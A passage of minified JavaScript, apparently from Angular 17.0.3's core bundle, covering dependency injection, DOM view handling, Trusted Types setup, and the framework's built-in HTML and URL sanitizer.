ng=255,rg=5;let Ub=0;const Wt={};function Ts(e,t){const n=og(e,t);if(-1!==n)return n;const r=t[w];r.firstCreatePass&&(e.injectorIndex=t.length,Ac(r.data,e),Ac(t,null),Ac(r.blueprint,null));const o=Ms(e,t),i=e.injectorIndex;if(Mc(o)){const s=Go(o),a=qo(o,t),l=a[w].data;for(let c=0;c<8;c++)t[i+c]=a[s+c]|l[s+c]}return t[i+8]=o,i}function Ac(e,t){e.push(0,0,0,0,0,0,0,0,t)}function og(e,t){return-1===e.injectorIndex||e.parent&&e.parent.injectorIndex===e.injectorIndex||null===t[e.injectorIndex+8]?-1:e.injectorIndex}function Ms(e,t){if(e.parent&&-1!==e.parent.injectorIndex)return e.parent.injectorIndex;let n=0,r=null,o=t;for(;null!==o;){if(r=dg(o),null===r)return Pr;if(n++,o=o[br],-1!==r.injectorIndex)return r.injectorIndex|n<<16}return Pr}function Pc(e,t,n){!function zb(e,t,n){let r;"string"==typeof n?r=n.charCodeAt(0)||0:n.hasOwnProperty(Oo)&&(r=n[Oo]),null==r&&(r=n[Oo]=Ub++);const o=r&ng;t.data[e+(o>>rg)]|=1<<o}(e,t,n)}function ig(e,t,n){if(n&U.Optional||void 0!==e)return e;Jl()}function sg(e,t,n,r){if(n&U.Optional&&void 0===r&&(r=null),!(n&(U.Self|U.Host))){const o=e[$e],i=Ye(void 0);try{return o?o.get(t,r,n&U.Optional):dp(t,r,n&U.Optional)}finally{Ye(i)}}return ig(r,0,n)}function ag(e,t,n,r=U.Default,o){if(null!==e){if(2048&t[S]&&!(r&U.Self)){const s=function Zb(e,t,n,r,o){let i=e,s=t;for(;null!==i&&null!==s&&2048&s[S]&&!(512&s[S]);){const a=lg(i,s,n,r|U.Self,Wt);if(a!==Wt)return a;let l=i.parent;if(!l){const c=s[Tp];if(c){const u=c.get(n,Wt,r);if(u!==Wt)return u}l=dg(s),s=s[br]}i=l}return o}(e,t,n,r,Wt);if(s!==Wt)return s}const i=lg(e,t,n,r,Wt);if(i!==Wt)return i}return sg(t,n,r,o)}function lg(e,t,n,r,o){const i=function Wb(e){if("string"==typeof e)return e.charCodeAt(0)||0;const t=e.hasOwnProperty(Oo)?e[Oo]:void 0;return"number"==typeof t?t>=0?t&ng:Kb:t}(n);if("function"==typeof i){if(!Wp(t,e,r))return r&U.Host?ig(o,0,r):sg(t,n,r,o);try{let s;if(s=i(r),null!=s||r&U.Optional)return s;Jl()}finally{Yp()}}else if("number"==typeof i){let s=null,a=og(e,t),l=Pr,c=r&U.Host?t[ce][Le]:null;for((-1===a||r&U.SkipSelf)&&(l=-1===a?Ms(e,t):t[a+8],l!==Pr&&ug(r,!1)?(s=t[w],a=Go(l),t=qo(l,t)):a=-1);-1!==a;){const u=t[w];if(cg(i,a,u.data)){const d=qb(a,t,n,s,r,c);if(d!==Wt)return d}l=t[a+8],l!==Pr&&ug(r,t[w].data[a+8]===c)&&cg(i,a,t)?(s=u,a=Go(l),t=qo(l,t)):a=-1}}return o}function qb(e,t,n,r,o,i){const s=t[w],a=s.data[e+8],u=function Ns(e,t,n,r,o){const i=e.providerIndexes,s=t.data,a=1048575&i,l=e.directiveStart,u=i>>20,f=o?a+u:e.directiveEnd;for(let h=r?a:a+u;h<f;h++){const p=s[h];if(h<l&&n===p||h>=l&&p.type===n)return h}if(o){const h=s[l];if(h&&St(h)&&h.type===n)return l}return null}(a,s,n,null==r?Kn(a)&&Nc:r!=s&&0!=(3&a.type),o&U.Host&&i===a);return null!==u?Yn(t,s,u,a):Wt}function Yn(e,t,n,r){let o=e[n];const i=t.data;if(function jb(e){return e instanceof zo}(o)){const s=o;s.resolving&&function AI(e,t){const n=t?`. Dependency path: ${t.join(" > ")} > ${e}`:"";throw new E(-200,`Circular dependency in DI detected for ${e}${n}`)}(function W(e){return"function"==typeof e?e.name||e.toString():"object"==typeof e&&null!=e&&"function"==typeof e.type?e.type.name||e.type.toString():F(e)}(i[n]));const a=Ss(s.canSeeViewProviders);s.resolving=!0;const c=s.injectImpl?Ye(s.injectImpl):null;Wp(e,r,U.Default);try{o=e[n]=s.factory(void 0,i,e,r),t.firstCreatePass&&n>=r.directiveStart&&function kb(e,t,n){const{ngOnChanges:r,ngOnInit:o,ngDoCheck:i}=t.type.prototype;if(r){const s=Rp(t);(n.preOrderHooks??=[]).push(e,s),(n.preOrderCheckHooks??=[]).push(e,s)}o&&(n.preOrderHooks??=[]).push(0-e,o),i&&((n.preOrderHooks??=[]).push(e,i),(n.preOrderCheckHooks??=[]).push(e,i))}(n,i[n],t)}finally{null!==c&&Ye(c),Ss(a),s.resolving=!1,Yp()}}return o}function cg(e,t,n){return!!(n[t+(e>>rg)]&1<<e)}function ug(e,t){return!(e&U.Self||e&U.Host&&t)}class Se{constructor(t,n){this._tNode=t,this._lView=n}get(t,n,r){return ag(this._tNode,this._lView,t,ds(r),n)}}function Kb(){return new Se(Y(),v())}function dg(e){const t=e[w],n=t.type;return 2===n?t.declTNode:1===n?e[Le]:null}const Fr="__parameters__";function Lr(e,t,n){return rn(()=>{const r=function xc(e){return function(...n){if(e){const r=e(...n);for(const o in r)this[o]=r[o]}}}(t);function o(...i){if(this instanceof o)return r.apply(this,i),this;const s=new o(...i);return a.annotation=s,a;function a(l,c,u){const d=l.hasOwnProperty(Fr)?l[Fr]:Object.defineProperty(l,Fr,{value:[]})[Fr];for(;d.length<=u;)d.push(null);return(d[u]=d[u]||[]).push(s),l}}return n&&(o.prototype=Object.create(n.prototype)),o.prototype.ngMetadataName=e,o.annotationCls=o,o})}function Vr(e,t){e.forEach(n=>Array.isArray(n)?Vr(n,t):t(n))}function hg(e,t,n){t>=e.length?e.push(n):e.splice(t,0,n)}function As(e,t){return t>=e.length-1?e.pop():e.splice(t,1)[0]}function it(e,t,n){let r=Br(e,t);return r>=0?e[1|r]=n:(r=~r,function pg(e,t,n,r){let o=e.length;if(o==t)e.push(n,r);else if(1===o)e.push(r,e[0]),e[0]=n;else{for(o--,e.push(e[o-1],e[o]);o>t;)e[o]=e[o-2],o--;e[t]=n,e[t+1]=r}}(e,r,t,n)),r}function kc(e,t){const n=Br(e,t);if(n>=0)return e[1|n]}function Br(e,t){return function gg(e,t,n){let r=0,o=e.length>>n;for(;o!==r;){const i=r+(o-r>>1),s=e[i<<n];if(t===s)return i<<n;s>t?o=i:r=i+1}return~(o<<n)}(e,t,1)}const jc=Fo(Lr("Optional"),8),Vc=Fo(Lr("SkipSelf"),4),Zo=new b("ENVIRONMENT_INITIALIZER"),Dg=new b("INJECTOR",-1),Hc=new b("INJECTOR_DEF_TYPES");class Os{get(t,n=xo){if(n===xo){const r=new Error(`NullInjectorError: No provider for ${_e(t)}!`);throw r.name="NullInjectorError",r}return n}}function vS(...e){return{\u0275providers:Eg(0,e),\u0275fromNgModule:!0}}function Eg(e,...t){const n=[],r=new Set;let o;const i=s=>{n.push(s)};return Vr(t,s=>{const a=s;xs(a,i,[],r)&&(o||=[],o.push(a))}),void 0!==o&&_g(o,i),n}function _g(e,t){for(let n=0;n<e.length;n++){const{ngModule:r,providers:o}=e[n];Uc(o,i=>{t(i,r)})}}function xs(e,t,n,r){if(!(e=N(e)))return!1;let o=null,i=ls(e);const s=!i&&H(e);if(i||s){if(s&&!s.standalone)return!1;o=e}else{const l=e.ngModule;if(i=ls(l),!i)return!1;o=l}const a=r.has(o);if(s){if(a)return!1;if(r.add(o),s.dependencies){const l="function"==typeof s.dependencies?s.dependencies():s.dependencies;for(const c of l)xs(c,t,n,r)}}else{if(!i)return!1;{if(null!=i.imports&&!a){let c;r.add(o);try{Vr(i.imports,u=>{xs(u,t,n,r)&&(c||=[],c.push(u))})}finally{}void 0!==c&&_g(c,t)}if(!a){const c=Qn(o)||(()=>new o);t({provide:o,useFactory:c,deps:q},o),t({provide:Hc,useValue:o,multi:!0},o),t({provide:Zo,useValue:()=>M(o),multi:!0},o)}const l=i.providers;if(null!=l&&!a){const c=e;Uc(l,u=>{t(u,c)})}}}return o!==e&&void 0!==e.providers}function Uc(e,t){for(let n of e)Zl(n)&&(n=n.\u0275providers),Array.isArray(n)?Uc(n,t):t(n)}const DS=Z({provide:String,useValue:Z});function zc(e){return null!==e&&"object"==typeof e&&DS in e}function Xn(e){return"function"==typeof e}const Gc=new b("Set Injector scope."),Fs={},_S={};let qc;function ks(){return void 0===qc&&(qc=new Os),qc}class Kt{}class $r extends Kt{get destroyed(){return this._destroyed}constructor(t,n,r,o){super(),this.parent=n,this.source=r,this.scopes=o,this.records=new Map,this._ngOnDestroyHooks=new Set,this._onDestroyHooks=[],this._destroyed=!1,Kc(t,s=>this.processProvider(s)),this.records.set(Dg,Ur(void 0,this)),o.has("environment")&&this.records.set(Kt,Ur(void 0,this));const i=this.records.get(Gc);null!=i&&"string"==typeof i.value&&this.scopes.add(i.value),this.injectorDefTypes=new Set(this.get(Hc,q,U.Self))}destroy(){this.assertNotDestroyed(),this._destroyed=!0;try{for(const n of this._ngOnDestroyHooks)n.ngOnDestroy();const t=this._onDestroyHooks;this._onDestroyHooks=[];for(const n of t)n()}finally{this.records.clear(),this._ngOnDestroyHooks.clear(),this.injectorDefTypes.clear()}}onDestroy(t){return this.assertNotDestroyed(),this._onDestroyHooks.push(t),()=>this.removeOnDestroy(t)}runInContext(t){this.assertNotDestroyed();const n=In(this),r=Ye(void 0);try{return t()}finally{In(n),Ye(r)}}get(t,n=xo,r=U.Default){if(this.assertNotDestroyed(),t.hasOwnProperty(ap))return t[ap](this);r=ds(r);const i=In(this),s=Ye(void 0);try{if(!(r&U.SkipSelf)){let l=this.records.get(t);if(void 0===l){const c=function SS(e){return"function"==typeof e||"object"==typeof e&&e instanceof b}(t)&&as(t);l=c&&this.injectableDefInScope(c)?Ur(Wc(t),Fs):null,this.records.set(t,l)}if(null!=l)return this.hydrate(t,l)}return(r&U.Self?ks():this.parent).get(t,n=r&U.Optional&&n===xo?null:n)}catch(a){if("NullInjectorError"===a.name){if((a[us]=a[us]||[]).unshift(_e(t)),i)throw a;return function zI(e,t,n,r){const o=e[us];throw t[hp]&&o.unshift(t[hp]),e.message=function GI(e,t,n,r=null){e=e&&"\n"===e.charAt(0)&&"\u0275"==e.charAt(1)?e.slice(2):e;let o=_e(t);if(Array.isArray(t))o=t.map(_e).join(" -> ");else if("object"==typeof t){let i=[];for(let s in t)if(t.hasOwnProperty(s)){let a=t[s];i.push(s+":"+("string"==typeof a?JSON.stringify(a):_e(a)))}o=`{${i.join(", ")}}`}return`${n}${r?"("+r+")":""}[${o}]: ${e.replace(VI,"\n ")}`}("\n"+e.message,o,n,r),e.ngTokenPath=o,e[us]=null,e}(a,t,"R3InjectorError",this.source)}throw a}finally{Ye(s),In(i)}}resolveInjectorInitializers(){const t=In(this),n=Ye(void 0);try{const o=this.get(Zo,q,U.Self);for(const i of o)i()}finally{In(t),Ye(n)}}toString(){const t=[],n=this.records;for(const r of n.keys())t.push(_e(r));return`R3Injector[${t.join(", ")}]`}assertNotDestroyed(){if(this._destroyed)throw new E(205,!1)}processProvider(t){let n=Xn(t=N(t))?t:N(t&&t.provide);const r=function CS(e){return zc(e)?Ur(void 0,e.useValue):Ur(function Ig(e,t,n){let r;if(Xn(e)){const o=N(e);return Qn(o)||Wc(o)}if(zc(e))r=()=>N(e.useValue);else if(function Cg(e){return!(!e||!e.useFactory)}(e))r=()=>e.useFactory(...ac(e.deps||[]));else if(function wg(e){return!(!e||!e.useExisting)}(e))r=()=>M(N(e.useExisting));else{const o=N(e&&(e.useClass||e.provide));if(!function IS(e){return!!e.deps}(e))return Qn(o)||Wc(o);r=()=>new o(...ac(e.deps))}return r}(e),Fs)}(t);if(Xn(t)||!0!==t.multi)this.records.get(n);else{let o=this.records.get(n);o||(o=Ur(void 0,Fs,!0),o.factory=()=>ac(o.multi),this.records.set(n,o)),n=t,o.multi.push(t)}this.records.set(n,r)}hydrate(t,n){return n.value===Fs&&(n.value=_S,n.value=n.factory()),"object"==typeof n.value&&n.value&&function bS(e){return null!==e&&"object"==typeof e&&"function"==typeof e.ngOnDestroy}(n.value)&&this._ngOnDestroyHooks.add(n.value),n.value}injectableDefInScope(t){if(!t.providedIn)return!1;const n=N(t.providedIn);return"string"==typeof n?"any"===n||this.scopes.has(n):this.injectorDefTypes.has(n)}removeOnDestroy(t){const n=this._onDestroyHooks.indexOf(t);-1!==n&&this._onDestroyHooks.splice(n,1)}}function Wc(e){const t=as(e),n=null!==t?t.factory:Qn(e);if(null!==n)return n;if(e instanceof b)throw new E(204,!1);if(e instanceof Function)return function wS(e){const t=e.length;if(t>0)throw function Ko(e,t){const n=[];for(let r=0;r<e;r++)n.push(t);return n}(t,"?"),new E(204,!1);const n=function FI(e){return e&&(e[cs]||e[cp])||null}(e);return null!==n?()=>n.factory(e):()=>new e}(e);throw new E(204,!1)}function Ur(e,t,n=!1){return{factory:e,value:t,multi:n?[]:void 0}}function Kc(e,t){for(const n of e)Array.isArray(n)?Kc(n,t):n&&Zl(n)?Kc(n.\u0275providers,t):t(n)}function Mg(e,t=null,n=null,r){const o=Ng(e,t,n,r);return o.resolveInjectorInitializers(),o}function Ng(e,t=null,n=null,r,o=new Set){const i=[n||q,vS(e)];return r=r||("object"==typeof e?void 0:_e(e)),new $r(i,t||ks(),r||null,o)}let Yc,st=(()=>{class e{static#e=this.THROW_IF_NOT_FOUND=xo;static#t=this.NULL=new Os;static create(n,r){if(Array.isArray(n))return Mg({name:""},r,n,"");{const o=n.name??"";return Mg({name:o},n.parent,n.providers,o)}}static#n=this.\u0275prov=V({token:e,providedIn:"any",factory:()=>M(Dg)});static#r=this.__NG_ELEMENT_ID__=-1}return e})();function Tn(){if(void 0!==Yc)return Yc;if(typeof document<"u")return document;throw new E(210,!1)}const js=new b("AppId",{providedIn:"root",factory:()=>FS}),FS="ng",Pg=new b("Platform Initializer"),er=new b("Platform ID",{providedIn:"platform",factory:()=>"unknown"}),Rg=new b("AnimationModuleType"),Og=new b("CSP nonce",{providedIn:"root",factory:()=>Tn().body?.querySelector("[ngCspNonce]")?.getAttribute("ngCspNonce")||null});function xg(e){return e.ownerDocument}function $s(e){return 128==(128&e.flags)}var An=function(e){return e[e.Important=1]="Important",e[e.DashCase=2]="DashCase",e}(An||{});const nu=new Map;let WS=0;const ou="__ngContext__";function je(e,t){Oe(t)?(e[ou]=t[Vo],function QS(e){nu.set(e[Vo],e)}(t)):e[ou]=t}let iu;function su(e,t){return iu(e,t)}function ti(e){const t=e[le];return Ae(t)?t[le]:t}function Xg(e){return em(e[Lo])}function Jg(e){return em(e[bt])}function em(e){for(;null!==e&&!Ae(e);)e=e[bt];return e}function Gr(e,t,n,r,o){if(null!=r){let i,s=!1;Ae(r)?i=r:Oe(r)&&(s=!0,r=r[fe]);const a=oe(r);0===e&&null!==n?null==o?om(t,n,a):tr(t,n,a,o||null,!0):1===e&&null!==n?tr(t,n,a,o||null,!0):2===e?function Qs(e,t,n){const r=Ws(e,t);r&&function pT(e,t,n,r){e.removeChild(t,n,r)}(e,r,t,n)}(t,a,s):3===e&&t.destroyNode(a),null!=i&&function yT(e,t,n,r,o){const i=n[$t];i!==oe(n)&&Gr(t,e,r,i,o);for(let a=ve;a<n.length;a++){const l=n[a];oi(l[w],l,e,t,r,i)}}(t,e,i,n,o)}}function Gs(e,t,n){return e.createElement(t,n)}function nm(e,t){const n=e[Tr],r=n.indexOf(t);n.splice(r,1)}function ni(e,t){if(e.length<=ve)return;const n=ve+t,r=e[n];if(r){const o=r[jo];null!==o&&o!==e&&nm(o,r),t>0&&(e[n-1][bt]=r[bt]);const i=As(e,ve+t);!function sT(e,t){oi(e,t,t[k],2,null,null),t[fe]=null,t[Le]=null}(r[w],r);const s=i[Ht];null!==s&&s.detachView(i[w]),r[le]=null,r[bt]=null,r[S]&=-129}return r}function qs(e,t){if(!(256&t[S])){const n=t[k];t[Wn]&&function Ch(e){if(Er(e),No(e))for(let t=0;t<e.producerNode.length;t++)Ji(e.producerNode[t],e.producerIndexOfThis[t]);e.producerNode.length=e.producerLastReadVersion.length=e.producerIndexOfThis.length=0,e.liveConsumerNode&&(e.liveConsumerNode.length=e.liveConsumerIndexOfThis.length=0)}(t[Wn]),n.destroyNode&&oi(e,t,n,3,null,null),function cT(e){let t=e[Lo];if(!t)return lu(e[w],e);for(;t;){let n=null;if(Oe(t))n=t[Lo];else{const r=t[ve];r&&(n=r)}if(!n){for(;t&&!t[bt]&&t!==e;)Oe(t)&&lu(t[w],t),t=t[le];null===t&&(t=e),Oe(t)&&lu(t[w],t),n=t&&t[bt]}t=n}}(t)}}function lu(e,t){if(!(256&t[S])){t[S]&=-129,t[S]|=256,function hT(e,t){let n;if(null!=e&&null!=(n=e.destroyHooks))for(let r=0;r<n.length;r+=2){const o=t[n[r]];if(!(o instanceof zo)){const i=n[r+1];if(Array.isArray(i))for(let s=0;s<i.length;s+=2){const a=o[i[s]],l=i[s+1];Ut(4,a,l);try{l.call(a)}finally{Ut(5,a,l)}}else{Ut(4,o,i);try{i.call(o)}finally{Ut(5,o,i)}}}}}(e,t),function fT(e,t){const n=e.cleanup,r=t[Cr];if(null!==n)for(let i=0;i<n.length-1;i+=2)if("string"==typeof n[i]){const s=n[i+3];s>=0?r[s]():r[-s].unsubscribe(),i+=2}else n[i].call(r[n[i+1]]);null!==r&&(t[Cr]=null);const o=t[bn];if(null!==o){t[bn]=null;for(let i=0;i<o.length;i++)(0,o[i])()}}(e,t),1===t[w].type&&t[k].destroy();const n=t[jo];if(null!==n&&Ae(t[le])){n!==t[le]&&nm(n,t);const r=t[Ht];null!==r&&r.detachView(e)}!function ZS(e){nu.delete(e[Vo])}(t)}}function cu(e,t,n){return function rm(e,t,n){let r=t;for(;null!==r&&40&r.type;)r=(t=r).parent;if(null===r)return n[fe];{const{componentOffset:o}=r;if(o>-1){const{encapsulation:i}=e.data[r.directiveStart+o];if(i===Ct.None||i===Ct.Emulated)return null}return Ue(r,n)}}(e,t.parent,n)}function tr(e,t,n,r,o){e.insertBefore(t,n,r,o)}function om(e,t,n){e.appendChild(t,n)}function im(e,t,n,r,o){null!==r?tr(e,t,n,r,o):om(e,t,n)}function Ws(e,t){return e.parentNode(t)}let uu,Zs,Ys,lm=function am(e,t,n){return 40&e.type?Ue(e,n):null};function Ks(e,t,n,r){const o=cu(e,r,t),i=t[k],a=function sm(e,t,n){return lm(e,t,n)}(r.parent||t[Le],r,t);if(null!=o)if(Array.isArray(n))for(let l=0;l<n.length;l++)im(i,o,n[l],a,!1);else im(i,o,n,a,!1);void 0!==uu&&uu(i,r,t,n,o)}function ri(e,t){if(null!==t){const n=t.type;if(3&n)return Ue(t,e);if(4&n)return du(-1,e[t.index]);if(8&n){const r=t.child;if(null!==r)return ri(e,r);{const o=e[t.index];return Ae(o)?du(-1,o):oe(o)}}if(32&n)return su(t,e)()||oe(e[t.index]);{const r=um(e,t);return null!==r?Array.isArray(r)?r[0]:ri(ti(e[ce]),r):ri(e,t.next)}}return null}function um(e,t){return null!==t?e[ce][Le].projection[t.projection]:null}function du(e,t){const n=ve+e+1;if(n<t.length){const r=t[n],o=r[w].firstChild;if(null!==o)return ri(r,o)}return t[$t]}function fu(e,t,n,r,o,i,s){for(;null!=n;){const a=r[n.index],l=n.type;if(s&&0===t&&(a&&je(oe(a),r),n.flags|=2),32!=(32&n.flags))if(8&l)fu(e,t,n.child,r,o,i,!1),Gr(t,e,o,a,i);else if(32&l){const c=su(n,r);let u;for(;u=c();)Gr(t,e,o,u,i);Gr(t,e,o,a,i)}else 16&l?fm(e,t,r,n,o,i):Gr(t,e,o,a,i);n=s?n.projectionNext:n.next}}function oi(e,t,n,r,o,i){fu(n,r,e.firstChild,t,o,i,!1)}function fm(e,t,n,r,o,i){const s=n[ce],l=s[Le].projection[r.projection];if(Array.isArray(l))for(let c=0;c<l.length;c++)Gr(t,e,o,l[c],i);else{let c=l;const u=s[le];$s(r)&&(c.flags|=128),fu(e,t,c,u,o,i,!0)}}function hm(e,t,n){""===n?e.removeAttribute(t,"class"):e.setAttribute(t,"class",n)}function pm(e,t,n){const{mergedAttrs:r,classes:o,styles:i}=n;null!==r&&lc(e,t,r),null!==o&&hm(e,t,o),null!==i&&function DT(e,t,n){e.setAttribute(t,"style",n)}(e,t,i)}function qr(e){return function hu(){if(void 0===Zs&&(Zs=null,re.trustedTypes))try{Zs=re.trustedTypes.createPolicy("angular",{createHTML:e=>e,createScript:e=>e,createScriptURL:e=>e})}catch{}return Zs}()?.createHTML(e)||e}function gm(e){return function pu(){if(void 0===Ys&&(Ys=null,re.trustedTypes))try{Ys=re.trustedTypes.createPolicy("angular#unsafe-bypass",{createHTML:e=>e,createScript:e=>e,createScriptURL:e=>e})}catch{}return Ys}()?.createHTML(e)||e}class vm{constructor(t){this.changingThisBreaksApplicationSecurity=t}toString(){return`SafeValue must use [property]=binding: ${this.changingThisBreaksApplicationSecurity} (see ${ip})`}}function Pn(e){return e instanceof vm?e.changingThisBreaksApplicationSecurity:e}function ii(e,t){const n=function MT(e){return e instanceof vm&&e.getTypeName()||null}(e);if(null!=n&&n!==t){if("ResourceURL"===n&&"URL"===t)return!0;throw new Error(`Required a safe ${t}, got a ${n} (see ${ip})`)}return n===t}class NT{constructor(t){this.inertDocumentHelper=t}getInertBodyElement(t){t="<body><remove></remove>"+t;try{const n=(new window.DOMParser).parseFromString(qr(t),"text/html").body;return null===n?this.inertDocumentHelper.getInertBodyElement(t):(n.removeChild(n.firstChild),n)}catch{return null}}}class AT{constructor(t){this.defaultDoc=t,this.inertDocument=this.defaultDoc.implementation.createHTMLDocument("sanitization-inert")}getInertBodyElement(t){const n=this.inertDocument.createElement("template");return n.innerHTML=qr(t),n}}const RT=/^(?!javascript:)(?:[a-z0-9+.-]+:|[^&:\/?#]*(?:[\/?#]|$))/i;function gu(e){return(e=String(e)).match(RT)?e:"unsafe:"+e}function an(e){const t={};for(const n of e.split(","))t[n]=!0;return t}function si(...e){const t={};for(const n of e)for(const r in n)n.hasOwnProperty(r)&&(t[r]=!0);return t}const Em=an("area,br,col,hr,img,wbr"),_m=an("colgroup,dd,dt,li,p,tbody,td,tfoot,th,thead,tr"),wm=an("rp,rt"),mu=si(Em,si(_m,an("address,article,aside,blockquote,caption,center,del,details,dialog,dir,div,dl,figure,figcaption,footer,h1,h2,h3,h4,h5,h6,header,hgroup,hr,ins,main,map,menu,nav,ol,pre,section,summary,table,ul")),si(wm,an("a,abbr,acronym,audio,b,bdi,bdo,big,br,cite,code,del,dfn,em,font,i,img,ins,kbd,label,map,mark,picture,q,ruby,rp,rt,s,samp,small,source,span,strike,strong,sub,sup,time,track,tt,u,var,video")),si(wm,_m)),yu=an("background,cite,href,itemtype,longdesc,poster,src,xlink:href"),Cm=si(yu,an("abbr,accesskey,align,alt,autoplay,axis,bgcolor,border,cellpadding,cellspacing,class,clear,color,cols,colspan,compact,controls,coords,datetime,default,dir,download,face,headers,height,hidden,hreflang,hspace,ismap,itemscope,itemprop,kind,label,lang,language,loop,media,muted,nohref,nowrap,open,preload,rel,rev,role,rows,rowspan,rules,scope,scrolling,shape,size,sizes,span,srclang,srcset,start,summary,tabindex,target,title,translate,type,usemap,valign,value,vspace,width"),an("aria-activedescendant,aria-atomic,aria-autocomplete,aria-busy,aria-checked,aria-colcount,aria-colindex,aria-colspan,aria-controls,aria-current,aria-describedby,aria-details,aria-disabled,aria-dropeffect,aria-errormessage,aria-expanded,aria-flowto,aria-grabbed,aria-haspopup,aria-hidden,aria-invalid,aria-keyshortcuts,aria-label,aria-labelledby,aria-level,aria-live,aria-modal,aria-multiline,aria-multiselectable,aria-orientation,aria-owns,aria-placeholder,aria-posinset,aria-pressed,aria-readonly,aria-relevant,aria-required,aria-roledescription,aria-rowcount,aria-rowindex,aria-rowspan,aria-selected,aria-setsize,aria-sort,aria-valuemax,aria-valuemin,aria-valuenow,aria-valuetext")),OT=an("script,style,template");class xT{constructor(){this.sanitizedSomething=!1,this.buf=[]}sanitizeChildren(t){let n=t.firstChild,r=!0;for(;n;)if(n.nodeType===Node.ELEMENT_NODE?r=this.startElement(n):n.nodeType===Node.TEXT_NODE?this.chars(n.nodeValue):this.sanitizedSomething=!0,r&&n.firstChild)n=n.firstChild;else for(;n;){n.nodeType===Node.ELEMENT_NODE&&this.endElement(n);let o=this.checkClobberedElement(n,n.nextSibling);if(o){n=o;break}n=this.checkClobberedElement(n,n.parentNode)}return this.buf.join("")}startElement(t){const n=t.nodeName.toLowerCase();if(!mu.hasOwnProperty(n))return this.sanitizedSomething=!0,!OT.hasOwnProperty(n);this.buf.push("<"),this.buf.push(n);const r=t.attributes;for(let o=0;o<r.length;o++){const i=r.item(o),s=i.name,a=s.toLowerCase();if(!Cm.hasOwnProperty(a)){this.sanitizedSomething=!0;continue}let l=i.value;yu[a]&&(l=gu(l)),this.buf.push(" ",s,'="',Im(l),'"')}return this.buf.push(">"),!0}endElement(t){const n=t.nodeName.toLowerCase();mu.hasOwnProperty(n)&&!Em.hasOwnProperty(n)&&(this.buf.push("</"),this.buf.push(n),this.buf.push(">"))}chars(t){this.buf.push(Im(t))}checkClobberedElement(t,n){if(n&&(t.compareDocumentPosition(n)&Node.DOCUMENT_POSITION_CONTAINED_BY)===Node.DOCUMENT_POSITION_CONTAINED_BY)throw new Error(`Failed to sanitize html because the element is clobbered: ${t.outerHTML}`);return n}}const FT=/[\uD800-\uDBFF][\uDC00-\uDFFF]/g,kT=/([^\#-~ |!])/g;function Im(e){return e.replace(/&/g,"&").replace(FT,function(t){return"&#"+(1024*(t.charCodeAt(0)-55296)+(t.charCodeAt(1)-56320)+65536)+";"}).replace(kT,function(t){return"&#"+t.charCodeAt(0)+";"}).replace(/</g,"<").replace(/>/g,">")}let Xs;function vu(e){return"content"in e&&function jT(e){return e.nodeType===Node.ELEMENT_NODE&&"TEMPLATE"===e.nodeName}(e)?e.content:null}var Wr=function(e){return e[e.NONE=0]="NONE",e[e.HTML=1]="HTML",e[e.STYLE=2]="STYLE",e[e.SCRIPT=3]="SCRIPT",e[e.URL=4]="URL",e[e.RESOURCE_URL=5]="RESOURCE_URL",e}(Wr||{});function Du(e){const t=ai();return t?gm(t.sanitize(Wr.HTML,e)||""):ii(e,"HTML")?gm(Pn(e)):function LT(e,t){let n=null;try{Xs=Xs||function Dm(e){const t=new AT(e);return function PT(){try{return!!(new window.DOMParser).parseFromString(qr(""),"text/html")}catch{return!1}}()?new NT(t):t}(e);let r=t?String(t):"";n=Xs.getInertBodyElement(r);let o=5,i=r;do{if(0===o)throw new Error("Failed to sanitize html because the input is unstable");o--,r=i,i=n.innerHTML,n=Xs.getInertBodyElement(r)}while(r!==i);return qr((new xT).sanitizeChildren(vu(n)||n))}finally{if(n){const r=vu(n)||n;for(;r.firstChild;)r.removeChild(r.firstChild)}}}(Tn(),F(e))}function Js(e){const t=ai();return t?t.sanitize(Wr.URL,e)||"":ii(e,"URL")?Pn(e):gu(F(e))}function ai(){const e=v();return e&&e[Ir].sanitizer}let Sm=(e,t,n)=>null;function Tu(e,t,n=!1){return Sm(e,t,n)}class JT{}class Nm{}class tM{resolveComponentFactory(t){throw function eM(e){const t=Error(`No component factory found for ${_e(e)}.`);return t.ngComponent=e,t}(t)}}let Zr=(()=>{class e{static#e=this.NULL=new tM}return e})();function nM(){return Yr(Y(),v())}function Yr(e,t){return new Xr(Ue(e,t))}let Xr=(()=>{class e{constructor(n){this.nativeElement=n}static#e=this.__NG_ELEMENT_ID__=nM}return e})();class Au{}let iM=(()=>{class e{static#e=this.\u0275prov=V({token:e,providedIn:"root",factory:()=>null})}return e})();class ia{constructor(t){this.full=t,this.major=t.split(".")[0],this.minor=t.split(".")[1],this.patch=t.split(".").slice(2).join(".")}}const sM=new ia("17.0.3"),Pu={};function sa(e){return!!function Ru(e){return null!==e&&("function"==typeof e||"object"==typeof e)}(e)&&(Array.isArray(e)||!(e instanceof Map)&&Symbol.iterator in e)}class Om{constructor(){}supports(t){return sa(t)}create(t){return new dM(t)}}const uM=(e,t)=>t;class dM{constructor(t){this.length=0,this._linkedRecords=null,this._unlinkedRecords=null,this._previousItHead=null,this._itHead=null,this._itTail=null,this._additionsHead=null,this._additionsTail=null,this._movesHead=null,this._movesTail=null,this._removalsHead=null,this._removalsTail=null,this._identityChangesHead=null,this._identityChangesTail=null,this._trackByFn=t||uM}forEachItem(t){let n;for(n=this._itHead;null!==n;n=n._next)t(n)}forEachOperation(t){let n=this._itHead,r=this._removalsHead,o=0,i=null;for(;n||r;){const s=!r||n&&n.currentIndex<Fm(r,o,i)?n:r,a=Fm(s,o,i),l=s.currentIndex;if(s===r)o--,r=r._nextRemoved;else if(n=n._next,null==s.previousIndex)o++;else{i||(i=[]);const c=a-o,u=l-o;if(c!=u){for(let f=0;f<c;f++){const h=f<i.length?i[f]:i[f]=0,p=h+f;u<=p&&p<c&&(i[f]=h+1)}i[s.previousIndex]=u-c}}a!==l&&t(s,a,l)}}forEachPreviousItem(t){let n;for(n=this._previousItHead;null!==n;n=n._nextPrevious)t(n)}forEachAddedItem(t){let n;for(n=this._additionsHead;null!==n;n=n._nextAdded)t(n)}forEachMovedItem(t){let n;for(n=this._movesHead;null!==n;n=n._nextMoved)t(n)}forEachRemovedItem(t){let n;for(n=this._removalsHead;null!==n;n=n._nextRemoved)t(n)}forEachIdentityChange(t){let n;for(n=this._identityChangesHead;null!==n;n=n._nextIdentityChange)t(n)}diff(t){if(null==t&&(t=[]),!sa(t))throw new E(900,!1);return this.check(t)?this:null}onDestroy(){}check(t){this._reset();let o,i,s,n=this._itHead,r=!1;if(Array.isArray(t)){this.length=t.length;for(let 